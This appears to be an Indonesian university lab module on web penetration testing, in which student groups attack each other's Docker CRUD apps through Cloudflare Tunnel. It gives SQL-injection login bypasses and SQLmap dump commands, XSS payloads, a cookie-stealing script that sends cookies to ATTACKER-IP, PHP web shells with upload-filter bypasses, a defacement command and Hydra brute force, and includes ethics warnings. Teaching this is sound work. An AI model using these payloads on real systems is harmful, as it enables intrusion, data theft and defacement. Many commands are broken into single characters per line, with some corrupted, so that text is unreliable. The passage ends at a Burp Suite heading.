

MODUL PRAKTIKUM
CLOUD COMPUTING
Penetration Testing

**Web Attack via Cloudflare Tunnel | Recon | SQLi | XSS | IDOR | Brute Force
| Hardening**

Mata Kuliah	Praktikum Komputasi Awan
Sesi	P7 — Pentest Antar Kelompok (Web Attack via Cloudflare Tunnel)
Tools	Kali Linux, Burp Suite, SQLmap, Gobuster, Hydra, curl, Browser
Prasyarat	CRUD app berjalan di Docker container + Cloudflare Tunnel aktif (P4–P5)

A. Pendahuluan

Di sesi P7, setiap kelompok berperan ganda: sebagai **attacker** yang menyerang web kelompok lain, dan sebagai **defender** yang menjaga web sendiri dari serangan. Modul ini membahas jalur serangan melalui **Cloudflare Tunnel** — yaitu serangan di level web/aplikasi yang memanfaatkan URL publik Cloudflare.

Cloudflare Tunnel hanya meneruskan trafik HTTP/HTTPS, sehingga jenis serangan yang bisa dilakukan melalui jalur ini adalah serangan berbasis web: SQL Injection, Cross-Site Scripting (XSS), Insecure Direct Object Reference (IDOR), Brute Force Login, File Upload Attack, dan lainnya.

Jalur Serangan P7

Jalur	Alamat Target	Jenis Serangan
Cloudflare Tunnel	https://xxx.trycloudflare.com	SQLi, XSS, IDOR, File Upload, Brute Force Login, Sensitive Data Exposure
Tailscale VPN	100.64.x.x	nmap, SSH Brute Force, Akses MySQL Langsung

Modul ini khusus membahas serangan via Cloudflare Tunnel (web-level attack). Untuk serangan via Tailscale (network-level attack), lihat modul terpisah: Modul Tailscale P7.

B. Setup Kali Linux di VirtualBox

Kali Linux adalah distribusi Linux yang dirancang khusus untuk penetration testing dan security auditing. Kali sudah dilengkapi dengan ratusan tools keamanan seperti SQLmap, Hydra, Nmap, Gobuster, dan Burp Suite. Di sesi P7, Kali Linux digunakan sebagai mesin attacker.

1. Download Kali Linux

#	Langkah Download Kali Linux
1	Buka browser dan akses: https://www.kali.org/get-kali/#kali-installer-images
2	Pilih versi Installer (64-bit) — download file ISO (ukuran sekitar 4 GB).
3	Tunggu hingga download selesai. Simpan file ISO di lokasi yang mudah diakses.

2. Buat Virtual Machine Baru

#	Langkah Membuat VM Kali Linux
1	Buka VirtualBox → klik New.
2	Isi konfigurasi: Name: Kali-Linux, Type: Linux, Version: Debian (64-bit).
3	Alokasikan RAM minimal 2048 MB (2 GB). Disarankan 4096 MB jika laptop memungkinkan.
4	Buat virtual hard disk: VDI, Dynamically Allocated, minimal 25 GB.
5	Klik Create untuk membuat VM.

3. Install Kali Linux

#	Langkah Instalasi Kali Linux
1	Pilih VM Kali-Linux → Settings → Storage → klik ikon CD kosong → Choose a disk file → pilih ISO Kali yang sudah didownload.
2	Klik Start untuk boot VM dari ISO.
3	Pilih Graphical Install pada menu boot.
4	Ikuti wizard instalasi: pilih bahasa, timezone, dan konfigurasi keyboard.
5	Buat user dan password (catat baik-baik — ini yang dipakai untuk login).
6	Pilih Guided – use entire disk untuk partisi.
7	Tunggu proses instalasi selesai (sekitar 15–30 menit).
8	Setelah selesai, restart VM. Kali Linux siap digunakan.

4. Post-Install: Update Sistem

Setelah berhasil login ke Kali Linux, jalankan update untuk memastikan semua tools dan paket terbaru:

```
$ sudo apt update && sudo apt upgrade -y
```

5. Konfigurasi Network

Untuk serangan via Cloudflare Tunnel, Kali Linux hanya butuh akses internet (bisa menggunakan **NAT** di VirtualBox). Kali tidak perlu satu jaringan dengan target karena serangan dilakukan melalui URL publik Cloudflare.

#	Langkah Konfigurasi Network
1	Pilih VM Kali-Linux → Settings → Network.
2	Adapter 1: pastikan Attached to: NAT (default).
3	Klik OK. Kali Linux sekarang bisa akses internet.
4	Verifikasi koneksi: buka terminal dan jalankan perintah di bawah.
\$ p i n g - c 3 g o o g l e . c o m	

NAT cukup untuk serangan via Cloudflare. Jika nanti butuh serangan via Tailscale (nmap, SSH brute force), Kali juga perlu diinstall Tailscale — lihat modul Tailscale terpisah.

C. Persiapan Serangan

Sebelum mulai menyerang, pastikan environment sudah siap: target Cloudflare URL aktif, Kali Linux berjalan, dan browser Kali bisa mengakses target.

1. Dapatkan URL Target

#	Langkah Persiapan Target
1	Dapatkan URL Cloudflare kelompok target dari dosen. Format: <code>https://xxxx-xxxx-xxxx.trycloudflare.com</code>
2	Buka browser di Kali Linux (Firefox), akses URL target — pastikan web CRUD muncul.
3	Jika web tidak muncul, pastikan container Docker target masih berjalan dan Cloudflare Tunnel aktif.
4	Catat URL target — URL ini yang digunakan untuk semua serangan web di modul ini.

2. Verifikasi Tools

Pastikan tools berikut sudah tersedia di Kali Linux:

```
$ which gobuster && which sqlmap && which hydra && which burpsuite
# Semua tool di atas sudah pre-installed di Kali Linux
# Jika ada yang belum terinstall:
$ sudo apt install gobuster sqlmap hydra burpsuite -y
```

Simpan URL target di variabel environment agar mudah dipakai berulang kali: **export TARGET="https://xxxx.trycloudflare.com"**

D. Reconnaissance: Web

Reconnaissance (recon) adalah tahap pertama dalam penetration testing. Tujuannya adalah mengumpulkan informasi sebanyak mungkin tentang target sebelum melakukan serangan. Di level web, recon fokus pada menemukan halaman tersembunyi, file sensitif, dan informasi server.

1. Directory Enumeration dengan Gobuster

Gobuster melakukan brute force terhadap path URL untuk menemukan halaman atau file yang tidak ditampilkan secara publik (hidden directories/files).

#	Langkah Directory Enumeration
1	Buka terminal di Kali Linux.
2	Jalankan Gobuster dengan wordlist bawaan Kali:
3	Tunggu hingga scanning selesai — catat semua path yang ditemukan (status 200 atau 301).
4	Coba akses path-path yang ditemukan di browser untuk melihat isinya.
\$ g o b u s t e r d i r - u \$ T A R G E T - w / u s r / s h a r e / w o r d l i	

s
t
s
/
d
i
r
b
/
c
o
m
m
o
n
.
t
x
t

O
p
s
i
t
a
m
b
a
h
a
n
:
\$
g
o
b
u
s
t
e
r
d
i
r
-
u
\$
T
A
R
G
E
T
-
w
/
u
s
r

```
/
s
h
a
r
e
/
w
o
r
d
l
i
s
t
s
/
d
i
r
b
/
c
o
m
m
o
n
.
t
x
t
-
x
p
h
p
,
t
x
t
,
b
a
k
,
s
q
l
```

Flag -x php,txt,bak,sql menambahkan ekstensi file ke setiap kata di wordlist. Ini membantu menemukan file seperti config.php.bak, database.sql, atau notes.txt yang mungkin tertinggal oleh developer.

2. Header Inspection dengan Curl

HTTP response headers bisa mengungkapkan informasi tentang server, versi software, dan konfigurasi keamanan.


```
$ curl -I $TARGET

# Contoh output yang perlu diperhatikan:
# Server: nginx/1.18.0 (Ubuntu)      ← versi server terekspose
# X-Powered-By: PHP/8.2.0           ← versi PHP terekspose
# Set-Cookie: PHPSESSID=...         ← session management
```

3. Cek File Sensitif

Developer sering meninggalkan file-file sensitif yang bisa diakses publik. Cek secara manual:

```
$ curl -s $TARGET/robots.txt
$ curl -s $TARGET/.env
$ curl -s $TARGET/config.php
$ curl -s $TARGET/phpinfo.php
$ curl -s $TARGET/.git/HEAD
$ curl -s $TARGET/backup/
$ curl -s $TARGET/db.sql
```

Jika **/robots.txt** atau **/.env** menampilkan konten, itu adalah temuan keamanan yang harus dicatat di laporan pentest. File **.env** sering berisi credential database.

E. OWASP Top 10 Overview

OWASP (Open Web Application Security Project) Top 10 adalah daftar 10 risiko keamanan web paling kritis. Daftar ini menjadi standar referensi dalam penetration testing dan pengembangan web yang aman.

No	Kategori	Contoh Serangan
A01	Broken Access Control	IDOR, Privilege Escalation
A02	Cryptographic Failures	Data sensitif tidak dienkripsi
A03	Injection	SQL Injection, Command Injection
A04	Insecure Design	Tidak ada rate limiting pada login
A05	Security Misconfiguration	phpinfo() publik, default credentials
A06	Vulnerable Components	Library/framework versi lama
A07	Auth Failures	Brute Force, Weak Password
A08	Data Integrity Failures	Insecure Deserialization
A09	Logging Failures	Tidak ada log untuk aktivitas mencurigakan
A10	SSRF	Server-Side Request Forgery

Di praktikum P7, kita akan fokus pada **A01 (IDOR)**, **A03 (SQLi, XSS)**, **A05 (Sensitive Data Exposure)**, dan **A07 (Brute Force Login)** karena serangan ini paling relevan dengan CRUD app yang dibangun di P4–P5.

F. SQL Injection (SQLi)

SQL Injection terjadi ketika input dari user dimasukkan langsung ke query SQL tanpa sanitasi. Penyerang bisa memanipulasi query untuk bypass login, membaca data, atau bahkan menghapus database.

1. SQLi Manual — Bypass Login

Serangan ini menargetkan form login yang menggunakan query seperti:

```
SELECT * FROM users WHERE username='$input' AND password='$input'
```

Jika input tidak disanitasi, kita bisa menyisipkan logika SQL untuk membypass autentikasi.

#	Langkah SQLi Bypass Login
1	Buka browser di Kali, akses halaman login target: \$TARGET/login.php
2	Di field Username, masukkan payload berikut (persis seperti ini):
3	Di field Password, masukkan sembarang teks (misal: aaa).
4	Klik tombol Login.
5	Jika berhasil, kamu masuk ke dashboard tanpa mengetahui password asli.
6	Coba variasi payload lain di field Username (lihat daftar di bawah).
7	Screenshot halaman dashboard sebagai bukti bypass berhasil.
# P a y l o a d u t a m a (m a s u k k a n d i f i e l d U s	

```
e
r
n
a
m
e
)
:
a
d
m
i
n
'
O
R
'
1
'
=
'
1
'
-
-

#
V
a
r
i
a
s
i
p
a
y
l
o
a
d
:
'
O
R
'
1
'
=
'
1
'
-
-
'
O
R
1
=
1
```

```

-
-
a
d
m
i
n
'
-
-
'
O
R
'
'
=
'
'
O
R
1
=
1
#

```

Tanda -- (double dash + spasi) adalah komentar SQL yang membuat sisa query diabaikan. Jadi password check di query tidak pernah dieksekusi.

2. SQLi Manual — Register Bypass

Form register juga bisa rentan terhadap SQL Injection jika query INSERT tidak menggunakan prepared statements.

#	Langkah SQLi di Register
1	Buka halaman register: \$TARGET/register.php
2	Di field Username, masukkan payload:
3	Isi field Password dengan sembarang teks.
4	Klik Register — amati apakah ada error SQL yang muncul.
5	Jika muncul error SQL (misal: syntax error near...), ini konfirmasi bahwa input tidak disanitasi.
6	Screenshot error message sebagai bukti.
# P a y l o a d u n t u	

k
m
e
m
a
n
c
i
n
g
e
r
r
o
r
S
Q
L
:
t
e
s
t
,
t
e
s
t
,
O
R
,
1
,
=
,
1
t
e
s
t
,
;
D
R
O
P
T
A
B
L
E
u
s
e
r
s
;
-
-

PENTING

Jangan benar-benar menjalankan DROP TABLE di target kelompok lain tanpa izin dosen. Tujuan pentest adalah menemukan kerentanan, bukan merusak data.

3. SQLi Otomatis dengan SQLmap

SQLmap adalah tool otomatis yang bisa mendeteksi dan mengeksploitasi SQL Injection. SQLmap bisa enumerate database, dump tabel, dan bahkan mengambil alih server dalam kasus tertentu.

Cara 1: Langsung dari URL

#	Langkah SQLmap — Via URL
1	Buka browser di Kali, akses halaman login target.
2	Klik kanan pada form login → Inspect Element → cari tag <form>.
3	Catat: action URL form (misal: /login.php) dan nama field input (misal: username, password).
4	Buka terminal di Kali dan jalankan SQLmap:
5	SQLmap akan menguji semua parameter dan menampilkan hasilnya.
6	Jika ditemukan injection point, lanjutkan enumerate database:
# J a l a n k a n S Q L m a p d e n g a n P O S T d a t a \$ s q l	

```
m
a
p
-
u
"
$
T
A
R
G
E
T
/
l
o
g
i
n
.
p
h
p
"
-
-
d
a
t
a
=
"
u
s
e
r
n
a
m
e
=
a
d
m
i
n
&
p
a
s
s
w
o
r
d
=
t
e
s
t
"
-
```


-
d
b
s

E
n
u
m
e
r
a
t
e
t
a
b
e
l
d
a
r
i
d
a
t
a
b
a
s
e
y
a
n
g
d
i
t
e
m
u
k
a
n
\$
s
q
l
m
a
p
-
u
"
\$
T
A
R
G
E

T
/
l
o
g
i
n
.
p
h
p
"
-
-
d
a
t
a
=
"
u
s
e
r
n
a
m
e
=
a
d
m
i
n
&
p
a
s
s
w
o
r
d
=
t
e
s
t
"
-
D
c
r
u
d
_
d
b
-
-
t
a

b
l
e
s

D
u
m
p
i
s
i
t
a
b
e
l
u
s
e
r
s
\$
s
q
l
m
a
p
-
u
"
\$
T
A
R
G
E
T
/
l
o
g
i
n
.
p
h
p
"
-
-
d
a
t
a
=
"
u
s

```
e
r
n
a
m
e
=
a
d
m
i
n
&
p
a
s
s
w
o
r
d
=
t
e
s
t
"
-
D
c
r
u
d
-
d
b
-
T
u
s
e
r
s
-
-
d
u
m
p
```

Cara 2: Menggunakan Request File dari Burp Suite

#	Langkah SQLmap — Via Request File
1	Buka Burp Suite → aktifkan Intercept (lihat Section M untuk setup lengkap).
2	Di browser (proxy ke Burp), lakukan login di target — request akan ter-intercept.
3	Klik kanan pada request → Copy to file → simpan sebagai request.txt.
4	Jalankan SQLmap menggunakan file request:

5	Metode ini lebih akurat karena menyertakan semua header dan cookie.
\$ s q l m a p - r r e q u e s t . t x t - - d b s \$ s q l m a p - r r e q u e s t . t x t - D c r u d - d b - - t a b l	

e
s
\$
s
q
l
m
a
p
-
r
r
e
q
u
e
s
t
.
t
x
t
-
D
c
r
u
d
l
b
-
T
u
s
e
r
s
-
-
d
u
m
p

F
l
a
g
t
a
m
b
a
h
a
n
y
a
n

g
b
e
r
g
u
n
a
:
\$
s
q
l
m
a
p
-
r
r
e
q
u
e
s
t
.
t
x
t
-
-
b
a
t
c
h

a
u
t
o
-
a
n
s
w
e
r
s
e
m
u
a
p
e
r
t
a
n
y
a

a
n
\$
s
q
l
m
a
p
-
r
r
e
q
u
e
s
t
.
t
x
t
-
-
l
e
v
e
l
=
3

t
i
n
g
k
a
t
k
a
n
l
e
v
e
l
t
e
s
t
i
n
g
\$
s
q
l
m
a
p
-


```
r  
r  
e  
q  
u  
e  
s  
t  
.  
t  
x  
t  
-  
-  
r  
i  
s  
k  
=  
3  
#  
t  
i  
n  
g  
k  
a  
t  
k  
a  
n  
a  
g  
r  
e  
s  
i  
v  
i  
t  
a  
s
```

--batch berguna kalau kamu tidak mau menjawab pertanyaan SQLmap satu per satu. SQLmap akan memilih opsi default untuk semua pertanyaan.

G. Cross-Site Scripting (XSS)

XSS terjadi ketika aplikasi menampilkan input user tanpa encoding/sanitasi. Penyerang bisa menyisipkan kode JavaScript yang dieksekusi di browser korban. Di CRUD app (catatan seperti Google Keep), **Stored XSS** paling relevan karena catatan disimpan di database dan ditampilkan ulang.

1. Stored XSS

Stored XSS terjadi ketika payload JavaScript tersimpan di database dan dieksekusi setiap kali halaman yang berisi data tersebut dibuka.

#	Langkah Stored XSS
1	Login ke CRUD app target menggunakan akun yang sudah dibuat (atau akun hasil SQLi bypass).
2	Buat catatan baru — di field judul atau isi catatan, masukkan payload XSS:
3	Simpan catatan.
4	Buka kembali catatan yang baru dibuat.
5	Jika muncul popup alert dengan tulisan "XSS", berarti Stored XSS berhasil.
6	Jika tidak muncul, coba variasi payload lain (lihat daftar di bawah).
7	Screenshot popup alert sebagai bukti XSS berhasil.
# P a y l o a d X S S d a s a r : < s c r i p t > a l e r t (" X S	

```
S
"
)
<
/
s
c
r
i
p
t
>

#
V
a
r
i
a
s
i
p
a
y
l
o
a
d
(
j
i
k
a
s
c
r
i
p
t
t
a
g
d
i
f
f
i
l
t
e
r
)
:
<
i
m
g
s
r
c
=
x
```

```
o
n
e
r
r
o
r
=
"
a
l
e
r
t
(
'
X
S
S
'
)
"
>
<
s
v
g
o
n
l
o
a
d
=
"
a
l
e
r
t
(
'
X
S
S
'
)
"
>
<
b
o
d
y
o
n
l
o
a
d
=
"
```

```
a  
l  
e  
r  
t  
(  
'  
X  
S  
S  
'  
)  
"  
>  
"  
>  
<  
s  
c  
r  
i  
p  
t  
>  
a  
l  
e  
r  
t  
(  
"  
X  
S  
S  
"  
)  
<  
/  
s  
c  
r  
i  
p  
t  
>  
<  
d  
e  
t  
a  
i  
l  
s  
o  
p  
e  
n  
o  
n  
t  
o  
g
```

```
g  
l  
e  
=  
"  
a  
l  
e  
r  
t  
(  
'  
X  
S  
S  
'  
)  
"  
>
```

2. Cookie Stealing (Demonstrasi Konsep)

Dalam skenario nyata, XSS digunakan untuk mencuri session cookie korban. Berikut konsep payload cookie stealing:

```
# Payload cookie stealing (konsep - butuh server penerima):  
<script>  
new Image().src="http://ATTACKER-IP:8888/?c="+document.cookie;  
</script>  
  
# Di mesin attacker, jalankan listener sederhana:  
$ python3 -m http.server 8888  
# Cookie korban akan muncul di log server
```

Cookie stealing hanya berfungsi jika cookie **tidak memiliki flag HttpOnly**. Flag HttpOnly mencegah JavaScript mengakses cookie. Cek dengan: `document.cookie` di browser console.

H. Insecure Direct Object Reference (IDOR)

IDOR terjadi ketika aplikasi menggunakan referensi langsung ke objek internal (seperti ID database) tanpa validasi akses. Penyerang bisa mengubah parameter ID di URL untuk mengakses data milik user lain.

1. Eksploitasi IDOR

CRUD app (Google Keep-style) menyimpan catatan per user. Jika aplikasi tidak memvalidasi kepemilikan catatan, user A bisa mengakses catatan user B dengan mengubah ID di URL.

#	Langkah Eksploitasi IDOR
1	Login ke CRUD app target dengan akun sendiri.
2	Buat satu catatan baru, lalu buka catatan tersebut.
3	Perhatikan URL di browser — biasanya ada parameter ID, contoh: \$TARGET/view.php?id=5
4	Ubah nilai ID di URL menjadi angka lain: \$TARGET/view.php?id=1
5	Jika kamu bisa melihat catatan milik user lain, IDOR terkonfirmasi.
6	Coba ID secara berurutan: ?id=1, ?id=2, ?id=3, dan seterusnya.
7	Catat semua ID yang menampilkan data orang lain — screenshot sebagai bukti.

Teknik IDOR Lanjutan:

```
# Automasi IDOR dengan curl (cek ID 1 sampai 50):
$ for i in $(seq 1 50); do
    echo "=== ID: $i ===";
    curl -s -b "PHPSESSID=SESSION_KAMU" "$TARGET/view.php?id=$i";
    echo "";
done

# Ganti SESSION_KAMU dengan session cookie dari browser
# (cek di Developer Tools > Application > Cookies)
```

IDOR tidak terbatas pada parameter **?id=**. Bisa juga di endpoint API, path URL (/user/1/notes), atau parameter form tersembunyi. Selalu cek setiap parameter yang terlihat seperti ID.

I. File Upload Attack

File Upload Attack terjadi ketika aplikasi mengizinkan upload file tanpa validasi yang ketat. Penyerang bisa mengupload file berbahaya (seperti PHP shell) yang kemudian dieksekusi di server. Bagian ini menjelaskan konsep dan langkah umum — berlaku untuk aplikasi yang memiliki fitur upload.

1. Konsep Serangan

Jika sebuah aplikasi web memiliki fitur upload (gambar profil, lampiran, dokumen), dan server tidak memvalidasi tipe file dengan benar, penyerang bisa mengupload file PHP yang berisi kode berbahaya.

2. Langkah Eksploitasi (Skenario Umum)

#	Langkah File Upload Attack
1	Identifikasi fitur upload di target (misalnya: upload avatar, lampiran catatan).
2	Buat file PHP berbahaya sederhana — simpan sebagai shell.php:
3	Coba upload shell.php melalui form upload target.
4	Jika ditolak karena ekstensi, coba bypass dengan rename: shell.php.jpg, shell.phtml, shell.php5, atau shell.PHP (uppercase).
5	Jika berhasil terupload, cari tahu lokasi file di server (biasanya: /uploads/shell.php).
6	Akses file melalui browser: \$TARGET/uploads/shell.php?cmd=whoami
7	Jika muncul output (misal: www-data), upload attack berhasil.
# I s i f i l e s h e l l . p h p : < ? p h p i f (i s s	


```
e
t
(
$
-
G
E
T
[
"
c
m
d
"
]
)
{
e
c
h
o
"
<
p
r
e
>
"
.
s
b
e
l
l
-
e
x
e
c
(
$
-
G
E
T
[
"
c
m
d
"
]
)
.
"
<
/
p
r
e
```

```
>
"
;
}
?
>
```

Teknik Bypass Upload Filter:

Teknik	Contoh	Keterangan
Double extension	shell.php.jpg	Server cek ekstensi terakhir saja
Ekstensi alternatif	shell.phtml	PHP tetap mengeksekusi ekstensi ini
Case change	shell.pHp	Filter case-sensitive bisa dibypass
Null byte	shell.php%00.jpg	Karakter null memotong nama file
Content-Type	Ganti ke image/jpeg	Ubah header di Burp Suite

CATATAN

CRUD app yang dibangun di P4–P5 tidak memiliki fitur upload file. Bagian ini disertakan sebagai materi pembelajaran agar mahasiswa memahami konsep File Upload Attack untuk aplikasi yang memiliki fitur tersebut.

J. Web Shell

Web shell adalah script berbahaya yang dipasang di server web untuk memberikan akses remote kepada penyerang melalui browser. Web shell biasanya diupload melalui File Upload Attack atau kerentanan lainnya.

1. Contoh Web Shell Sederhana

```
# Web shell satu baris (simpan sebagai cmd.php):
<?php system($_GET["cmd"]); ?>

# Web shell dengan form input:
<?php
if(isset($_POST["cmd"])) {
    echo "<pre>" . shell_exec($_POST["cmd"]) . "</pre>";
}
?>
<form method="POST">
    <input type="text" name="cmd" placeholder="Command...">
    <input type="submit" value="Run">
</form>
```

2. Penggunaan Web Shell

Setelah web shell berhasil terupload dan bisa diakses, penyerang bisa menjalankan perintah apapun yang diizinkan oleh user web server (biasanya www-data).

#	Langkah Penggunaan Web Shell
1	Akses web shell di browser: \$TARGET/uploads/cmd.php?cmd=whoami
2	Jalankan perintah untuk enumerasi: ?cmd=ls -la /var/www/html/
3	Baca file konfigurasi: ?cmd=cat /var/www/html/config.php
4	Cek user yang berjalan: ?cmd=id
5	Lihat koneksi jaringan: ?cmd=netstat -tlnp
6	Baca file /etc/passwd untuk enumerasi user: ?cmd=cat /etc/passwd

Web shell biasanya berjalan sebagai user **www-data** yang punya akses terbatas. Untuk mendapat akses lebih tinggi (root), dibutuhkan teknik **privilege escalation** yang merupakan materi lanjutan.

CATATAN

Sama seperti File Upload Attack, materi ini disertakan sebagai pembelajaran konseptual. CRUD app P4–P5 tidak memiliki celah upload, sehingga web shell tidak bisa dipasang melalui jalur upload.

K. Web Defacement

Web defacement adalah serangan di mana penyerang mengubah tampilan halaman web target. Defacement biasanya dilakukan setelah penyerang berhasil mendapatkan akses ke file system server (melalui web shell atau akses SSH).

1. Konsep Defacement

Defacement bisa dilakukan dengan dua cara utama:

- **Via Web Shell:** Jika penyerang sudah punya web shell di server, tinggal overwrite file index.php.
- **Via SQL Injection:** Beberapa kasus SQLi memungkinkan penulisan file langsung ke server menggunakan INTO OUTFILE.

2. Langkah Defacement via Web Shell

#	Langkah Web Defacement
1	Pastikan sudah punya akses web shell di server target.
2	Backup halaman asli (etika pentester): <code>?cmd=cp /var/www/html/index.php /var/www/html/index.php.bak</code>
3	Tulis halaman defacement baru:
4	Akses halaman utama target — jika tampilan berubah, defacement berhasil.
5	Screenshot halaman sebagai bukti untuk laporan pentest.
6	WAJIB: kembalikan halaman asli setelah dokumentasi: <code>?cmd=cp /var/www/html/index.php.bak /var/www/html/index.php</code>
# C o m m a n d u n t u k m e n u l i s h a l a m a n	

d
e
f
a
c
e
m
e
n
t
:
?
c
m
d
=
e
c
h
o
.
<
h
l
>
H
a
c
k
e
d
b
y
[
N
a
m
a
K
e
l
o
m
p
o
k
]
<
/
h
l
>
<
p
>
W
e
b
s
i
t
e

i
n
i
v
u
l
n
e
r
a
b
l
e
<
/
p
>
,
>
/
v
a
r
/
w
w
w
/
h
t
m
l
/
i
n
d
e
x
.
p
h
p

PENTING — ETIKA

Defacement di lingkungan praktikum HANYA untuk dokumentasi bukti kerentanan. WAJIB kembalikan halaman asli setelah screenshot. Defacement tanpa izin di dunia nyata adalah tindakan kriminal (UU ITE).

L. Brute Force Login

Brute Force adalah serangan yang mencoba kombinasi username dan password secara otomatis sampai menemukan credential yang benar. Di P7, kita menggunakan **Hydra** untuk brute force form login via Cloudflare Tunnel.

1. Analisis Form Login

Sebelum menjalankan Hydra, kamu harus mengetahui struktur form login target: URL action, method, nama field input, dan pesan error saat login gagal.

#	Langkah Analisis Form
1	Buka halaman login target di browser.
2	Klik kanan pada form → Inspect Element.
3	Catat informasi berikut dari tag <form>:
4	Coba login dengan credential salah — catat pesan error yang muncul (misal: "Login gagal" atau "Username/password salah").
# I n f o r m a s i y a n g p e r l u d i c a t a t : # 1 . A c t i o n U R L	

```
:  
/  
l  
o  
g  
i  
n  
.  
p  
h  
p  
#  
2  
.  
M  
e  
t  
h  
o  
d  
:  
P  
O  
S  
T  
#  
3  
.  
F  
i  
e  
l  
d  
u  
s  
e  
r  
n  
a  
m  
e  
:  
n  
a  
m  
e  
=  
"  
u  
s  
e  
r  
n  
a  
m  
e  
"  
#  
4  
.  
F  
i
```



```
e  
l  
d  
p  
a  
s  
s  
w  
o  
r  
d  
:  
n  
a  
m  
e  
=  
"  
p  
a  
s  
s  
w  
o  
r  
d  
"  
#  
5  
.  
p  
e  
s  
a  
n  
g  
a  
g  
a  
l  
:  
"  
L  
o  
g  
i  
n  
g  
a  
g  
a  
l  
"
```

2. Brute Force dengan Hydra

#	Langkah Brute Force via Hydra
1	Buka terminal Kali Linux.

2	Siapkan wordlist password (Kali sudah menyediakan rockyou.txt):
3	Jalankan Hydra dengan parameter form login:
4	Tunggu Hydra selesai — jika menemukan password yang valid, akan ditampilkan di output.
5	Screenshot hasil Hydra sebagai bukti.
# D e c o m p r e s s r o c k y o u . t x t (j i k a b e l u m) \$ s u d o g u n z i p / u s r / s h a r e /	

w
o
r
d
l
i
s
t
s
/
r
o
c
k
y
o
u
.
t
x
t
.
g
z

B
u
a
t
w
o
r
d
l
i
s
t
k
e
c
i
l
u
n
t
u
k
t
e
s
t
i
n
g
c
e
p
a
t
(

```
1
0
0
p
a
s
s
w
o
r
d
t
e
r
a
t
a
s
)
$
h
e
a
d
-
1
0
0
/
u
s
r
/
s
h
a
r
e
/
w
o
r
d
l
i
s
t
s
/
r
o
c
k
y
o
u
.
t
x
t
>
/
```

t
m
p
/
t
o
p
1
0
0
.
t
x
t

J
a
l
a
n
k
a
n
H
y
d
r
a
\$
h
y
d
r
a
-
l
a
d
m
i
n
-
P
/
t
m
p
/
t
o
p
1
0
0
.
t
x
t
\

\$
T
A
R
G
E
T
\

h
t
t
p
-
p
o
s
t
-
f
o
r
m
\

"
/
l
o
g
i
n
.
p
h
p
:
u
s
e
r
n
a
m
e
=
^
U
S
E
R
^
&
p
a
s
s
w
o
r
d

```
=  
^  
P  
A  
S  
S  
^  
:  
F  
=  
L  
o  
g  
i  
n  
g  
a  
g  
a  
l  
"  
  
#  
P  
e  
n  
j  
e  
l  
a  
s  
a  
n  
p  
a  
r  
a  
m  
e  
t  
e  
r  
:  
#  
-  
l  
a  
d  
m  
i  
n  
=  
u  
s  
e  
r  
n  
a  
m  
e  
y
```

a
n
g
d
i
t
e
b
a
k

-
p
t
o
p
l
0
0
.
t
x
t
=
w
o
r
d
l
i
s
t
p
a
s
s
w
o
r
d

h
t
t
p
-
p
o
s
t
-
f
o
r
m
=
m
e
t
o
d
e


```
s  
e  
r  
a  
n  
g  
a  
n  
(  
P  
O  
S  
T  
f  
o  
r  
m  
)  
#  
/  
l  
o  
g  
i  
n  
.  
p  
h  
p  
=  
p  
a  
t  
h  
f  
o  
r  
m  
l  
o  
g  
i  
n  
#  
u  
s  
e  
r  
n  
a  
m  
e  
=  
^  
U  
S  
E  
R  
^  
=  
f  
i
```

```
e
l
d
u
s
e
r
n
a
m
e
(
^
U
S
E
R
^
d
i
g
a
n
t
i
o
t
o
m
a
t
i
s
)
#
p
a
s
s
w
o
r
d
=
^
P
A
S
S
^
=
f
i
e
l
d
p
a
s
s
w
o
```

```
rd(
^P
AS
S^
dd
ig
an
ti
ot
om
at
is
)
#F
=L
og
in
ga
ga
l
=s
st
rin
g
Y
a
n
g
m
u
n
c
u
l
s
a
a
t
l
o
g
```

i
n
G
A
G
A
L

F= (Failure string) harus persis sama dengan teks yang muncul di halaman saat login gagal. Kalau salah, Hydra akan menganggap semua percobaan berhasil. Cek dulu di browser!

3. Brute Force dengan Wordlist Custom

Jika kamu sudah punya informasi tentang target (nama, tanggal lahir, dll), buat wordlist custom yang lebih terarah:

```
# Buat wordlist custom
$ cat > /tmp/custom.txt << EOF
admin
admin123
password
123456
ubuntu
root
crud
mahasiswa
praktikum
cloudcomputing
EOF

# Jalankan Hydra dengan wordlist custom
$ hydra -l admin -P /tmp/custom.txt $TARGET http-post-form \
    "/login.php:username=^USER^&password=^PASS^:F=Login gagal"
```

CATATAN CLOUDFLARE

Cloudflare mungkin memblokir atau rate-limit brute force yang terlalu agresif. Jika Hydra tiba-tiba berhenti atau error, tunggu beberapa menit lalu coba lagi dengan wordlist yang lebih kecil.

M. Sensitive Data Exposure

Sensitive Data Exposure terjadi ketika aplikasi atau server secara tidak sengaja mengekspos data sensitif: credential database, informasi server, file backup, atau data pribadi user. Di tahap recon (Section D) kita sudah mulai mencari file sensitif — di bagian ini kita membahas secara lebih mendalam.

1. File Konfigurasi yang Terekspos

Cek apakah file-file berikut bisa diakses tanpa autentikasi:

File	Risiko	Cara Cek
config.php	Credential database (host, user, password)	curl \$TARGET/config.php
.env	Environment variables, API keys, DB credentials	curl \$TARGET/.env
phpinfo.php	Informasi lengkap PHP: versi, modul, path	curl \$TARGET/phpinfo.php
db.sql / backup.sql	Dump database dengan seluruh data	curl \$TARGET/db.sql
.git/HEAD	Source code repository	curl \$TARGET/.git/HEAD
robots.txt	Daftar path yang "disembunyikan"	curl \$TARGET/robots.txt

2. Informasi dari HTTP Headers

HTTP response headers bisa mengungkapkan versi server dan konfigurasi keamanan yang lemah:

```
$ curl -I $TARGET

# Temuan yang perlu dicatat:
# Server: nginx/1.18.0          → versi server terekspos (seharusnya disembunyikan)
# X-Powered-By: PHP/8.2.0      → versi PHP terekspos
# X-Frame-Options: (tidak ada) → rentan clickjacking
# Content-Security-Policy: (tidak ada) → rentan XSS
# Strict-Transport-Security: (tidak ada) → rentan downgrade attack
```

3. Data User yang Terekspos

Periksa apakah ada endpoint yang mengekspos data user tanpa autentikasi:

```
# Cek endpoint umum yang sering terekspos:
$ curl -s $TARGET/api/users
$ curl -s $TARGET/users.php
$ curl -s $TARGET/data/

# Cek apakah password tersimpan dalam plain text (dari SQLi dump):
# Jika hasil SQLmap menampilkan password tanpa hash,
# itu temuan critical: plain text password storage
```

Setiap temuan sensitive data exposure harus didokumentasikan di laporan pentest dengan: **apa yang ditemukan, di mana lokasinya, dan tingkat risikonya** (Low/Medium/High/Critical).

N. Burp Suite

